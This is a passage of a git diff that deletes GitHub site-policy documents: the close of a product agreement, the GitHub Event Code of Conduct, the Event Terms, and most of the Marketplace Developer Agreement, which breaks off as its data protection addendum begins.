elect not to declare a breach or otherwise terminate this agreement but, instead, continue to provide the GitHub Products for the remainder of the Agreement Term at the price of the GitHub Products then posted on GitHub’s public Website at the time of the breach. You agree to pay all fees associated with GitHub so providing the Products as set forth in this Section. - -## 6. No Warranty; Disclaimer. - -The GitHub Products are being provided "AS IS", and without warranty of any kind, express or implied. GITHUB DISCLAIMS ALL WARRANTIES WITH RESPECT TO THE GITHUB PRODUCTS, EXPRESS OR IMPLIED, INCLUDING THE IMPLIED WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, AND NON-INFRINGEMENT, AND ANY WARRANTIES ARISING OUT OF COURSE OF DEALING OR USAGE OF TRADE. - -## 7. Limitation of Liability. - -### 7.1 Waiver of Consequential Damages. - -IN NO EVENT WILL EITHER PARTY BE LIABLE TO THE OTHER OR TO ANY THIRD PARTY FOR ANY INDIRECT, SPECIAL, INCIDENTAL, CONSEQUENTIAL, EXEMPLARY OR PUNITIVE DAMAGES, INCLUDING BUT NOT LIMITED TO DAMAGES FOR LOST DATA, LOST PROFITS OR COSTS OF PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES, HOWEVER CAUSED AND UNDER ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, TORT (INCLUDING WITHOUT LIMITATION PRODUCTS LIABILITY, STRICT LIABILITY AND NEGLIGENCE), OR ANY OTHER THEORY, AND WHETHER OR NOT SUCH PARTY KNEW OR SHOULD HAVE KNOWN ABOUT THE POSSIBILITY OF SUCH DAMAGE. - -### 7.2 Limitation of Total Liability. - -IN NO EVENT WILL EITHER PARTY’S AGGREGATE LIABILITY ARISING OUT OF OR RELATED TO THIS AGREEMENT FOR ANY CAUSE WHATSOEVER, AND REGARDLESS OF THE FORM OF ACTION, EXCEED THE GREATER OF (I) AMOUNTS ONE PARTY HAS ACTUALLY PAID THE OTHER PARTY UNDER THIS AGREEMENT; OR (II) FIVE HUNDRED DOLLARS ($500). THE FOREGOING LIMITATIONS WILL APPLY NOTWITHSTANDING THE FAILURE OF ESSENTIAL PURPOSE OF ANY LIMITED REMEDY STATED IN THIS AGREEMENT. - -## 8. Miscellaneous. - -### 8.1 No Assignment. - -You are not allowed to assign or transfer any of your rights or obligations in this Agreement, in whole or in part, by operation of law or otherwise, without our prior written consent, and any attempt by you to do so will be null and void. We can assign this Agreement in its entirety, upon notice to you, in connection with a merger, acquisition, corporate reorganization, or sale of all or substantially all of our business or assets. - -### 8.2 Severability. - -If any provision of this Agreement is deemed by a court of competent jurisdiction to be illegal, invalid, or unenforceable, the court will modify or reform this Agreement to give as much effect as possible to that provision. Any provision that can’t be modified or reformed in this way will be deemed deleted, and the remaining provisions of this Agreement will continue in full force and effect. - -### 8.3 No Waiver. - -The failure of GitHub to exercise or enforce any right or provision of this Agreement shall not constitute a waiver of such right or provision. - -### 8.4 Force Majeure. - -The Parties will be excused from performing under this Agreement to the extent they are unable to perform due to extraordinary causes beyond our reasonable control such as acts of God, strikes, lockouts, riots, acts of war, epidemics, communication line failure, and power failures. - -### 8.5 Independent Contractors. - -The Parties are independent contractors and nothing contained in this Agreement (regardless if a party is described as a “Partner”) will be deemed or construed in any manner whatsoever to create a joint venture, partnership, employment, agency, fiduciary, or other similar relationship between us. Neither Party may bind the other to any obligation, whether contractual or otherwise. - -### 8.6 Governing Law. - -This Agreement and your use of the GitHub Products are governed under California law and any dispute related to the GitHub Products or the subject matter of these terms must be brought in a tribunal of competent jurisdiction located in or near San Francisco, California. - -### 8.7 Changes to the Agreement; Complete Agreement. - -GitHub may amend this Agreement at any time. Should GitHub materially amends this Agreement, it will notify you of such changes at least 30 days prior to the change taking effect by posting a notice on our Website. This Agreement, together with any applicable GitHub Products terms and GitHub's Privacy Statement, and Order Forms represent the complete and exclusive statement of the agreement between you and us and governs your use of the GitHub Products. This Agreement supersedes any proposal or prior agreement oral or written, and any other communications between you and GitHub relating to the subject matter of these terms (including, but not limited to, any prior versions of this Agreement). diff --git a/content/site-policy/github-terms/github-event-code-of-conduct.md b/content/site-policy/github-terms/github-event-code-of-conduct.md deleted file mode 100644 index 88934aba68df..000000000000 --- a/content/site-policy/github-terms/github-event-code-of-conduct.md +++ /dev/null @@ -1,55 +0,0 @@ ---- -title: GitHub Event Code of Conduct -redirect_from: - - /articles/github-event-code-of-conduct - - /github/site-policy/github-event-code-of-conduct -versions: - fpt: '*' -topics: - - Policy - - Legal ---- - -## Code of Conduct - -By attending a GitHub event, including any of the events or activities organized by GitHub in association with the GitHub event (collectively the "Event"), you represent that you have read, understand, and agree to the following GitHub Event Code of Conduct (hereinafter “Code of Conduct”). This Code of Conduct applies to all attendees, speakers, exhibitors, sponsors, organizers, staff, and volunteers (collectively “Event Participants”) at the Event. - -GitHub values the participation of all Event Participants and aims to create an event where all Event Participants have an enjoyable and fulfilling experience. Accordingly, all Event Participants are expected to show respect and courtesy to other Event Participants throughout the Event. - -GitHub is dedicated to providing a positive and harassment-free experience for everyone, regardless of age, gender, gender identity and expression, sexual orientation, disability, personal appearance, body size, ethnicity, race, religion, nationality, or level of experience. - -We do not tolerate harassment of Event Participants in any form, nor do we tolerate any behavior that would reasonably lead to an Event Participant being made to feel unsafe, insecure, or frightened for their physical or emotional well-being. All communication and behavior should be appropriate for a professional setting including people of many different backgrounds. - -Examples of encouraged behavior that contributes to a positive environment include: - -* Using welcoming and inclusive language -* Being respectful of differing viewpoints and experiences -* Gracefully accepting constructive criticism -* Focusing on what is best for everyone at the Event -* Showing empathy towards others and Event Participants - -Unacceptable behavior includes, but is not limited to: - -* The use of sexualized language or imagery -* Inappropriate physical contact, sexual attention, or advances -* Trolling, insulting or derogatory comments or behavior -* Personal or political attacks toward Event Participants -* Sustained disruption of talks or any other events or activities organized by GitHub in association with the Event -* Intimidation, stalking, following, or harassing of Event Participants -* Photography or recording of Event Participants without their consent -* Harassment of any kind, even in a joking or ironic manner -* Conduct which could reasonably be considered inappropriate in a professional setting - -Each Event Participant is entirely responsible for their own actions. - -Thank you for helping to make this a welcoming, friendly space for all. - -## Reporting an incident - -If you are being harassed, notice that someone else is being harassed, have any other concerns, or if you believe an Event Participant is not acting in a way compliant with this Code of Conduct, please speak directly with a venue security officer or GitHub employee for urgent help, or email us at [events@github.com](mailto:events@github.com) for non-urgent issues. For life threatening situations, please dial 911 immediately. - -GitHub employees will be happy to help Event Participants contact security or local law enforcement, escort to safety, or otherwise assist those experiencing harassment to feel safe for the duration of the Event. - -## Credit - -Portions of this Code of Conduct are based on the example anti-harassment policy from the Geek Feminism wiki, created by the Ada Initiative and other volunteers, under a Creative Commons Zero license. diff --git a/content/site-policy/github-terms/github-event-terms.md b/content/site-policy/github-terms/github-event-terms.md deleted file mode 100644 index c2b540135e4f..000000000000 --- a/content/site-policy/github-terms/github-event-terms.md +++ /dev/null @@ -1,76 +0,0 @@ ---- -title: GitHub Event Terms -redirect_from: - - /articles/github-event-terms - - /github/site-policy/github-event-terms -versions: - fpt: '*' -topics: - - Policy - - Legal ---- - -By RSVP'ing to or attending a GitHub event, including any of the events or activities organized by GitHub in association with the GitHub event (collectively the "Event"), you represent that you have read, understand, and agree to the following GitHub Event Terms (hereinafter “Event Terms”). - -## 1. Basic requirements to attend - including the Event Code of Conduct - -In order to participate in the Event, you represent that - -* You have the requisite capacity and authority to enter into these Event Terms; -* You have read and understood these Event Terms and the [AUTOTITLE](/site-policy/github-terms/github-terms-of-service); -* You agree to abide by the [Event Code of Conduct](/site-policy/github-terms/github-event-code-of-conduct); and -* If alcohol is being served at the Event, you are at least 21 years old or over the legal drinking age at the location where the Event is being held. - -If asked to stop behavior deemed harassing or prohibited, you must comply immediately. If you violate the [Event Code of Conduct](/site-policy/github-terms/github-event-code-of-conduct) or these Event Terms, the Event organizers may take any action they deem appropriate in their discretion, including warnings or expulsion from the Event with no refund. You must at all times obey the instructions or directions of the Event organizers. - -## 2. Pictures and videos - -GitHub and its partners, agents, or contractors sometimes take photos and videos at the Event. By participating or attending the Event, you agree that you may appear in some of these photos and videos, and you authorize GitHub's use of them during and after the Event. - -Additionally, if you take any photos or videos at the Event and provide them to GitHub, you authorize us to use them in the same fashion, and represent that the individuals that appear in your photos and videos have consented to such use. - -## 3. Information sharing - -Event sponsors, exhibitors, and other third parties may directly request your personal or other information at their exhibit booths, auxiliary events, or presentations. Providing any information to them is voluntary and optional, and you should review their privacy policies to determine how they will treat your personal information and whether you are comfortable with that treatment. - -If during the event you provide your information to a sponsor, exhibitor, or third party, including but not limited to (1) RSVPing or attending a session or program hosted by a third party other than GitHub, (2) presenting your badge for scanning at an exhibitor booth or breakout session, (3) requesting that a sponsor contact you via their virtual page on githubuniverse.com, or (4) entering a raffle, sweepstakes, or promotional event put on by third party other than GitHub, you understand and agree that your information will go to a non-GitHub entity and GitHub takes no responsibility for how that company uses or processes your personal information. You should review their privacy policies to determine how they will treat your personal information and whether you are comfortable with that treatment. - -Event sponsors and exhibitors are required to comply with GitHub’s privacy requirements and all applicable law including protecting Personal Data from unauthorized use, access or disclosure. - -## 4. Risk, liability, and indemnity - -### Assumption of risk - -Although we try to create a safe environment at the Event, we cannot guarantee 100% safety for participants. Please do your part to help reduce your chance of being injured at the Event. - -You agree to carefully consider the risks inherent in any activities you choose to take part in at the Event and to take reasonable precautions before you choose to attend or participate at the Event. You are responsible for your own actions and any resulting consequences. You agree to assume responsibility for your actions and your attendance to the fullest extent permitted by law. GitHub is not responsible for any injuries or accidents that you might sustain at the Event. - -### Release of liability - -You (for yourself, your heirs, personal representatives, or assigns, and anyone else who could make a claim on your behalf) hereby release, waive, discharge and covenant not to sue GitHub and its parent companies, subsidiaries, affiliates, officers, directors, partners, shareholders, members, agents, employees, vendors, sponsors, and volunteers from any and all claims, demands, causes of action, damages, losses, or expenses (including court costs and reasonable attorneys' fees) which may arise out of, result from, or relate in any way to your attendance at the Event. This release will not apply if GitHub is grossly negligent or engages in willful misconduct. - -### Indemnity - -You agree to indemnify and hold GitHub, its parents, subsidiaries, affiliates, officers, directors, employees, agents, and representatives harmless, including costs, liabilities, and legal fees, from any claim or demand made by any third party due to, related to, or connected with your attendance or conduct at the Event. - -## 5. Termination - -GitHub reserves the right to revoke your permission to attend the Event or to otherwise prohibit or limit your attendance at the Event for any or no reason, without notice or liability of any kind. The entirety of Section 4 of these Event Terms will continue to apply if your participation at the Event is terminated. - -## 6. Choice of law and venue - -California law will govern these Event Terms, as well as any claim, cause of action or dispute that might arise between you and GitHub (a "Claim"), without regard to conflict of law provisions. FOR ANY CLAIM BROUGHT BY EITHER PARTY, YOU AGREE TO SUBMIT AND CONSENT TO THE PERSONAL AND EXCLUSIVE JURISDICTION IN, AND THE EXCLUSIVE VENUE OF, THE STATE AND FEDERAL COURTS LOCATED WITHIN SAN FRANCISCO COUNTY, CALIFORNIA. - -## 7. Miscellaneous terms - -You agree that you will not represent yourself as an employee, representative, or agent of GitHub (unless, of course, you are actually employed by GitHub). - -We reserve the right to cancel the Event or any related event at any time, for any reason, and without liability or prejudice. - -Any failure by GitHub to exercise or enforce any right or provision of these terms does not constitute a waiver of such right or provision. If any provision of these terms is found to be unenforceable or invalid, that provision shall be limited or eliminated to the minimum extent necessary so that the Event Terms shall otherwise remain in full force and effect and enforceable. - -The views expressed by any event attendee, speaker, exhibitor, or sponsor are not necessarily those of GitHub. All attendees, speakers, exhibitors, and sponsors are solely responsible for the content of all presentations and any other material used at the Event. - -GitHub reserves the right to update these Event Terms in its sole discretion and without prior notice. These Event Terms apply to all event participants (attendees, speakers, sponsors, exhibitors, staff, and crew). You are advised to review these Event Terms periodically. - -These Event Terms were last updated on February 7th 2024. diff --git a/content/site-policy/github-terms/github-marketplace-developer-agreement.md b/content/site-policy/github-terms/github-marketplace-developer-agreement.md deleted file mode 100644 index 3d4f6b3f43e7..000000000000 --- a/content/site-policy/github-terms/github-marketplace-developer-agreement.md +++ /dev/null @@ -1,258 +0,0 @@ ---- -title: GitHub Marketplace Developer Agreement -redirect_from: - - /articles/github-marketplace-developer-agreement - - /github/site-policy/github-marketplace-developer-agreement -versions: - fpt: '*' -topics: - - Policy - - Legal ---- - - -**These terms and conditions (the "Agreement") govern your participation in GitHub’s Marketplace. By enrolling to participate in the Marketplace or by clicking “I Accept” below, you are confirming that you understand this agreement, and that you accept all of its terms and conditions. If you are entering into this Agreement on behalf of a company or other legal entity, you represent that you have the legal authority to bind the entity to this agreement, in which case “You” will mean the entity you represent.** - -Effective Date: May 17, 2024 - -## 1. DEFINITIONS - -Capitalized terms utilized in this Agreement and not defined shall otherwise have the meaning provided in the GitHub Terms of Service located at [https://docs.github.com/articles/github-terms-of-service](/site-policy/github-terms/github-terms-of-service). Those Terms of Service are referred to as the “Terms” or “ToS”. - -"Action" means a workflow that allows you to implement custom logic to perform a particular task with GitHub without having to create an application. - -“Brand Features” means the trademarks and similar intellectual property of each party. - -"Developer" or "You" means the company or individual who has created the Developer Application. - -"Developer Application" or "Developer Product" means the software, related content and other digital materials created by You for use in connection with GitHub and accessible via Marketplace. This includes Actions, GitHub Copilot Extensions, and other applications or products that use or interact with generative artificial intelligence (AI) technology. - -“End User” means any person, company or other legal entity that will acquire licenses to a Developer Product via the GitHub Marketplace. - -“GitHub API” means any proprietary application programming interface developed by GitHub, and includes the GitHub Copilot API. Access to and use of a GitHub API is governed by the ToS. - -“GitHub Marketplace” or “Marketplace” means the proprietary online marketplace site operated by GitHub where Developer Products may be delivered to End Users. - -“Listing” means the content provided for listing the Developer Product on GitHub Marketplace. - -“Taxes” means any tax, of any kind or sort regardless of origin, including interest or penalties thereon. - -“Token” means the credentials Developer must obtain to access a GitHub API. - -“Usage Data” means Marketplace related data generated in connection with End User use of GitHub Marketplace and licensure of Developer Products, including but not limited to usage statistics and aggregated sales data. Usage Data does not include and specifically excludes banking and payment information. - -## 2. PURPOSE AND LICENSE GRANT - -**2.1** This Agreement sets forth the terms that govern a Developer publishing Listings on GitHub Marketplace for End Users to use Developer Products. This Agreement is applicable to all Developer Products, regardless if distributed for free or for a fee. Developer agrees to use the GitHub Marketplace solely for the purposes permitted by this Agreement. Developer is solely responsible for its Developer Products. - -**2.2** Developer grants to GitHub a non-exclusive, worldwide, transferable, sublicensable, fully paid-up, royalty-free license to process the Listing in any fashion (including testing and displaying it on Marketplace), and to display Developer’s Brand Features in connection with Marketplace. - -**2.3** In addition to the licenses granted above, GitHub may include Developer Brand Features in any material marketing Marketplace. If Developer stops distributing a Developer Product on Marketplace, GitHub will stop use of the discontinued products’ Brand Features. - -**2.4** Developer must include a separate end user license agreement (“EULA”) in its Developer Products that will govern the End User’s rights to the Developer Products. Developer acknowledges and agrees that the applicable EULA for each Developer Product is solely between Developer and the End User. GitHub shall not be responsible, nor have any liability whatsoever, under any EULA. - -**2.5** Except for the license rights granted in this Agreement, (a) Developer retains all rights in the Developer Products; (b) each party retains all rights it has independent of this Agreement, including rights under the US Copyright Act or similar laws of other jurisdictions; and (c) each party owns all rights, title and interest in its respective Brand Features. Each party is responsible for protecting and enforcing its own rights and neither party has an obligation to do so on the other’s behalf. - -**2.6** GitHub shall be entitled to provide Developer’s name, address and other contact details to any third party as required by law or that reasonably, in GitHub’s sole determination, claims that Developer does not possess all of the necessary intellectual property rights in or to the Developer Products. - -## 3. RESTRICTIONS AND RESPONSIBILITIES - -Notwithstanding any of the requirements set forth in Section 2 (Purpose and License Grant) above, Developer's use of Marketplace is explicitly conditioned on Developer’s adherence to this Agreement, including the restrictions and compliance requirements set forth below. - -**3.1** Developer agrees it will protect the privacy and legal rights of all End Users with respect to the use of Developer Products. If an End User provides Developer with, or the Developer Product otherwise collects, discloses, accesses or uses, End User Personal Data, then the Developer must (a) inform End Users that such information will be available to the Developer Products; (b) provide a legally adequate privacy notice and protection to End Users; (c) obtain valid End User consent as required, and (d) comply with all other data privacy obligations applicable to Developer. - -**3.2** In order to use and access a GitHub API, Developer must obtain a Token by becoming a subscriber. Developer may not share its Token with any third party, shall keep its Token and all login information secure, and shall use the Token as Developer’s sole means of accessing a GitHub API. - -**3.3** Developer will not engage in any activity with Marketplace, including attempting to distribute any Developer Product, that violates GitHub's Terms of Service including [Acceptable Use Policies](https://docs.github.com/en/site-policy/acceptable-use-policies/github-acceptable-use-policies). Additionally, Developer will not attempt to distribute any Developer Product that: - -* 1\. Contains or installs any active malware or exploits, or uses our platform for exploit delivery (such as part of a command and control system); -* 2\. Enables the unauthorized download of streaming content or media; or -* 3\. Diverts End Users or provides links to any other site that mimics Marketplace or passes itself off as Marketplace - -**3.4** With respect to Developer Products that interact with generative AI technology, including GitHub Copilot Extensions, Developer will: - -* 1\. Test the Developer Product using various inputs to ensure that outputs do not violate this Agreement; -* 2\. Notify users when they are interacting with generative AI content; -* 3\. Have a mechanism for End Users to report feedback to GitHub and Developer related to errors, bugs, improper, or undesired outputs; and -* 4\. Inform End Users the appropriate use cases, best practices, and limitations of the Developer Product. - -**3.5** Developer shall not by any means repackage or resell Marketplace, a GitHub API, Personal Data, or Usage Data. Developer is not permitted to use a GitHub API or any Personal Data or Usage Data in any manner that does or could undermine the security of the Service, a GitHub API, Usage Data or any other data or information stored or transmitted using Marketplace. In addition, Developer shall not (a) interfere with, modify or disable any features, functionality or security controls of Marketplace or a GitHub API; (b) circumvent in any fashion any protection mechanisms for Marketplace or a GitHub API; or (c) reverse engineer, decompile, disassemble or derive the source code, underlying ideas, algorithms, structure or organizational form from Marketplace or a GitHub API. - -**3.6** Developer acknowledges that Developer is solely responsible, and that GitHub has no responsibility or liability of any kind, for any aspect of Developer Products. Developer will be solely responsible for: -* (i) providing End Users instructions on installing and using its Developer Products; -* (ii) creating and displaying information and content on, through or within its Developer Products; -* (iii) ensuring that its Developer Products do not violate or infringe the intellectual property rights of any third party; -* (iv) ensuring that Developer Products are not offensive, profane, obscene, libelous or otherwise illegal; -* (v) ensuring that its Developer Products do not contain or introduce malicious software into Marketplace, a GitHub API, any Usage Data or other data stored or transmitted using Marketplace; and -* (vi) ensuring that its Developer Products are not designed to or utilized for the purpose of sending commercial electronic messages to any GitHub.com users, agents or End Users without their consent. - -**3.7** Developer will respect and comply with the technical and policy-implemented limitations of a GitHub API and the restrictions of this Agreement in designing and implementing Developer Products. Developer shall not violate any explicit rate limitations on calling or otherwise utilizing a GitHub API. - -**3.8** Nothing in this Agreement shall prevent either party from developing and/or publishing applications that are similar or otherwise compete with the other party's applications. - -## 4. TAKEDOWNS - -**4.1** Your Takedowns. Upon providing GitHub with thirty (30) days written notice, you may remove your Listing from future distribution via Marketplace. You must continue to comply with this Agreement for any Listing already distributed through Marketplace including but not limited to refund requirements. Removing your Listing from future distribution via Marketplace does not (a) affect the license rights of End Users who have previously purchased or installed your Listing or (b) change your obligation to deliver or support Listing that has been previously purchased or installed by users. If you remove your Listing, GitHub will not disclose your reason for the removal. - -**4.2** GitHub Review and Takedowns. GitHub may review or test your Listing for compliance with this Agreement, GitHub ToS, and any other applicable terms, obligations, laws, or regulations. GitHub retains sole and absolute discretion over what Listings are included on Marketplace. You may be required to provide information about yourself (such as identification or contact details) as part of the registration process for Marketplace, or as part of your continued use of Marketplace. You agree that any information you give to Marketplace will be accurate, correct and up to date. As part of the specification for your Listing, GitHub may ask that you include in the file for your Listing information such as your name and email address. GitHub may use this information when featuring the Listing in our directory or for other uses. - -If GitHub is notified by you or otherwise becomes aware and determines, in its sole discretion, that a Listing or any portion thereof or your Brand Features: - -* (a) violates the terms of this Agreement or the ToS; -* (b) the display of the Listing is impacting the integrity of GitHub servers (i.e., users are unable to access such content or otherwise experience difficulty); -* (c) is deemed by GitHub to add undue risk to Marketplace End Users’ data or impair the user experience of Marketplace or GitHub; or -* (d) is subject to End User complaints in regards to your breach of your EULA, - -GitHub may: suspend the transfer of Personal Data to your Developer Product; prohibit the collection and processing of Personal Data via your Developer Product; remove the Listing from Marketplace; flag, filter, or modify related materials (including but not limited to descriptions, screenshots, or metadata); or reclassify the Listing at its sole discretion. If GitHub takes any of these actions on your Listing, you may appeal GitHub's action through the [GitHub Appeal and Reinstatement Process](https://docs.github.com/en/site-policy/acceptable-use-policies/github-appeal-and-reinstatement) - -**4.3** Developer Product Updates. From time to time, GitHub may check for available updates to any Listing, including but not limited to bug fixes or enhanced functionality. If you update your Listing to Marketplace, you agree that such update will be automatically requested, downloaded, and installed without further notice to you. GitHub makes no guarantees regarding the timing of such updates. Updates to a Listing are subject to the same terms and conditions as the Listing. - -**4.4** End-User Takedowns. If an End-User uses your Developer Product in a way that violates the Terms, then we have the right to suspend or terminate that End-User's access to the Developer Product without any liability to you. - -## 5. REPRESENTATIONS, WARRANTIES AND COVENANTS - -**5.1** Developer must inform End Users of the Personal Data that will be transmitted to the Developer Application from the Service and that Developer terms will control the privacy, security or integrity of such Personal Data. To the extent Developer’s Applications store, process or transmit Personal Data, neither Developer nor Developer’s Application will, without appropriate prior user consent or except to the extent required by applicable law, -* (i) modify the content of Personal Data in a manner that adversely affects the integrity of the Personal Data; -* (ii) disclose the Personal Data to any third party; or -* (iii) use the Personal Data for any purpose other than providing the Developer Application functionality to users of such Developer Application. - -Developer shall maintain and handle all Personal Data in accordance with privacy and security measures reasonably adequate to preserve the confidentiality and security of all such Personal Data and all applicable privacy laws and regulations. - -**5.2** Developer agrees that it will comply with the GitHub Data Protection Addendum. - -**5.3** You Support Your Developer Product. Developer will be solely responsible for support and maintenance of your Developer Products and any complaints about your Developer Products. Your support contact information will be displayed in each application detail page and made available to users for customer support purposes. Failure to provide adequate support for your Developer Products may result in reduced product exposure, or in some cases removal from Marketplace or anywhere else on GitHub.com where previously purchased or downloaded Developer Products are stored on behalf of users. - -**5.4** Developer represents and warrants that: (i) its Developer Products and Developer Brand Features do not and will not violate, misappropriate or infringe upon the intellectual property rights of any third party; (ii) Developer will comply with all applicable laws and regulations, including this Agreement and GitHub's Terms of Service, and maintain all permissions necessary to develop, implement, and distribute its Developer Products; (iii) its Developer Products do not and will not contain or introduce any malicious software; (iv) its Developer Products are not designed to or utilized for the purpose of sending commercial electronic messages to any GitHub customers, agents or End Users without their consent; (v) Developer has all right, power and authority to grant the licenses granted to GitHub and End Users herein; and (vi) any images and text that are used to market the Developer Products or that Developer has uploaded to Marketplace are truthful, accurate and not intended to mislead or confuse the End User. - -**5.5** Disclaimer of Warranties. All aspects of Marketplace and GitHub API, including all server and network components, are provided on an “as is” and “as available” basis, without any warranties of any kind. GitHub expressly disclaims any and all warranties to the fullest extent permitted by law, whether express or implied, including, but not limited to, any implied warranties of merchantability, title, fitness for a particular purpose, and non-infringement. Developer acknowledges that GitHub does not warrant that Marketplace or a GitHub API will be uninterrupted, timely, secure, error-free, or free from viruses, malware, or worms (otherwise known as computer code or other technology specifically designed to disrupt, disable, or harm your software, hardware, computer system, or network), and no information or advice obtained by developer from GitHub or through Marketplace or a GitHub API shall create any warranty not expressly stated in these terms. GitHub is not responsible for, and specifically disclaims any liability for, any unauthorized use of Developer Products outside Marketplace. - -## 6. PAID APPLICATIONS OR PRODUCTS - -**6.1** GitHub will be the merchant of record for Developer Products purchased by End Users via Marketplace. - -**6.2** Registration. Developer will be required to provide information about yourself (such as identification or contact details) as part of the registration process for Marketplace, or as part of your continued use of Marketplace including, but not limited to: (i) name, (ii) address, (iii) telephone number, (iv) e-mail address, and (v) payment account details. GitHub may publicize Developer’s information on Marketplace and retain Developer’s registration information as required by applicable law. -**6.3** Pricing. Prices for Listings of Developer Applications will be set in US Dollars (USD). Developer has complete control over setting pricing for each Listing. The prices you set for Developer Products will determine the amount of payment you will receive. GitHub will remit 95% of the sale price in USD without reduction for Taxes except for any withholding taxes that are required under applicable law. The remaining 5% of the sales price will be allotted to and retained by GitHub. At the end of each month and upon reaching a minimum value of $500 USD, GitHub will remit your share of payments. - -**6.3** Refunds. You will be responsible for specifying the terms and conditions regarding refunds to your End Users. In no event shall GitHub be responsible for providing any support for refunds, nor shall GitHub be liable for payment of any refund. - -## 7. OWNERSHIP - -Subject to the limited licenses expressly provided in this Agreement, nothing in this Agreement transfers or assigns to a party any of the other party’s intellectual property rights in its Brand Features or other technology, and nothing in this Agreement transfers or assigns a party any of the other party’s intellectual property rights. - -## 8. LIMITATION OF LIABILITY - -Under no circumstances and under no legal theory (whether in contract, tort, negligence or otherwise) will GitHub, or its affiliates, officers, directors, employees, agents, or suppliers be liable to developer or any third party under this agreement for any indirect, incidental, special, exemplary, consequential, punitive or other similar damages, including lost profits, lost sales or business, lost data, business interruption or any other loss incurred by Developer or any third party in connection with this Agreement, regardless of whether Developer has been advised of the possibility of or could have foreseen such damages notwithstanding anything to the contrary in this Agreement, GitHub’s aggregate liability to Developer or any third party arising out of this Agreement shall not exceed $500 (five hundred) USD. - -## 9. INDEMNIFICATION - -To the maximum extent permitted by applicable law, Developer agrees to defend, indemnify and hold harmless GitHub, its affiliates and their respective directors, officers, employees and agents from and against any and all claims, actions, suits or proceedings, as well as any losses, liabilities, damages, costs and expenses (including reasonable attorneys’ fees) arising from or relating to (a) Developer’s use of Marketplace in violation of this Agreement, the Terms or any applicable laws or regulations; (b) Developer’s Products that infringe any copyright, trademark, trade secret, patent or other intellectual property right of any third party; (c) any loss or disclosure of data or Personal Data by Developer Products; and (d) Developer’s EULA (or ToS). - -## 10. TERMINATION - -**10.1** This Agreement will continue to apply until terminated by either party as set forth below. - -**10.2** Either party may terminate this Agreement for any reason upon thirty (30) days written notice. During the 30 day period the terms in effect at the time of the notice of termination shall govern. - -**10.3** GitHub may terminate this Agreement at any time if (a) you have breached any provision of this Agreement or (b) GitHub is required to do so by law. - -**10.4** Effects of Termination by Developer. Upon receiving thirty (30) days’ advanced written notice of termination from Developer, Developer will be disabled from taking on new customers via Marketplace. Any outstanding fees shall be remitted upon termination and removal of the Developer Product from Marketplace. If termination is initiated as a result of a GitHub modification to these terms (Section 11), the terms in effect immediately prior to such modification shall govern the duration of the 30-day notice period. - -**10.5** The obligations in Sections 2, 3, 4, 5, 8, 9, 12-18, and Data Protection Addendum will survive any expiration or termination of this Agreement. - -## 11. MODIFICATION - -Developer acknowledges and agrees that GitHub may modify this Agreement, Marketplace Terms of Service, a GitHub API, the General API Policies, GitHub Privacy Statement, the GitHub Developer Program Terms of Service, and the GitHub.com ToS from time to time (a “Modification”). All Modifications shall be communicated through Marketplace, the GitHub website at www.GitHub.com or through a form of direct communication from GitHub to Developer. Developer further acknowledges and agrees that such Modifications may be implemented at any time and without any notice to Developer. Developer shall, within thirty (30) days from the date of first notice of any Modification(s) (or such shorter period of time specified in the notice of the Modification(s)) (the “Conformance Period”) comply with such modification(s) by implementing and using the most current version of a GitHub API in the most current version of the Developer Products and making any changes to Developer Products that may be required as a result of such Modification(s). Developer acknowledges that a Modification may have an adverse effect on Developer Products, including but not limited to changing the manner in which applications communicate with a GitHub API. GitHub shall have no liability of any kind to Developer or any End User with respect to such Modifications or any adverse effects resulting from such Modifications. Developer’s continued access to or use of Marketplace or a GitHub API following the Conformance Period shall constitute binding acceptance of the Modification(s). - -## 12. ASSIGNMENT; ENTIRE AGREEMENT; REVISIONS - -**12.1** Developer may not, directly or indirectly, by operation of law or otherwise, assign all or any part of this Agreement or Developer’s rights under this Agreement or delegate performance of Developer’s duties under this Agreement without GitHub’s prior written consent. The rights granted in this Agreement may be assigned or transferred by GitHub without Developer’s prior approval. In addition, GitHub may delegate its responsibilities or obligations under this Agreement without Developer’s consent. - -**12.2** This Agreement, together with the ToS, constitute the entire agreement between the parties with respect to the subject matter of this Agreement. GitHub’s failure to enforce at any time any provision of this Agreement does not constitute a waiver of that provision or of any other provision of this Agreement. - -## 13. SEVERABILITY - -If any part of this Agreement is held to be unenforceable, the rest of the Agreement will remain in full force and effect. - -## 14. RELATIONSHIP OF THE PARTIES - -The parties are independent contractors. This Agreement does not create a partnership, franchise, joint venture, agency, fiduciary or employment relationship among the parties. Developer agrees that each member of the group of companies to which GitHub belongs shall be a third party beneficiary to this Agreement and that such other companies shall be entitled to directly enforce, and rely upon, any provision of this Agreement that confers a benefit or grants a right in favor or GitHub. No other person, company or legal entity shall be a third party beneficiary to the Agreement. - -## 15. NOTICE - -Notices to GitHub may be submitted via email to legal@support.github.com. If Customer wishes to formally service notice on GitHub, it must be made through GitHub’s registered agent: GitHub, Inc. c/o Corporation Service Company 2710 Gateway Oaks Drive, Suite 150N Sacramento, CA 95833-3505. Notices must be in writing and will be treated as delivered on the date received at the address, date shown on the return receipt, email transmission date, or date on the courier confirmation of delivery. All notices to be provided by GitHub to Developer under this Agreement may be delivered in writing (i) by nationally recognized overnight delivery service (“Courier”) or U.S. mail to the contact mailing address provided by Developer to GitHub; or (ii) electronic mail to the electronic mail address provided by Developer. - -## 16. GOVERNING LAW - -This Agreement will be governed by and construed in accordance with the laws of the State of California and federal laws of the United States. Any legal action or proceeding will be brought exclusively in the federal or state courts located in the Northern District of California. The parties consent to personal jurisdiction and venue there. - -## 17. EXPORT RESTRICTIONS - -Developer Products distributed via Marketplace may be subject to export controls or restrictions by the United States or other countries or territories. Developer agrees to comply with all applicable US and international export laws and regulations. These laws may include restrictions on destinations, content and/or End Users. - -## 18. USAGE DATA - -In order to operate and improve Marketplace, GitHub may collect Usage Data from Marketplace or a GitHub API or anywhere previously purchased or downloaded Developer Products are stored on behalf of End Users by GitHub. The Usage Data will be maintained in accordance with GitHub’s then in effect Privacy Statement. Limited Usage Data may be available for use by Developer in GitHub’s sole discretion. - -## 19. PRE-RELEASE ACCESS - -If you have a Listing on a portion of Marketplace that is in a beta or similar pre-release status, your use of that portion is governed by GitHub’s [Pre-release License Terms](https://docs.github.com/en/site-policy/github-terms/github-pre-release-license-terms). - -# Addendum 1: Data Protection Addendum - -This Data Protection Addendum (this “Addendum”) is attached to and made a part of the GitHub Marketplace Developer Agreement between you and GitHub (the 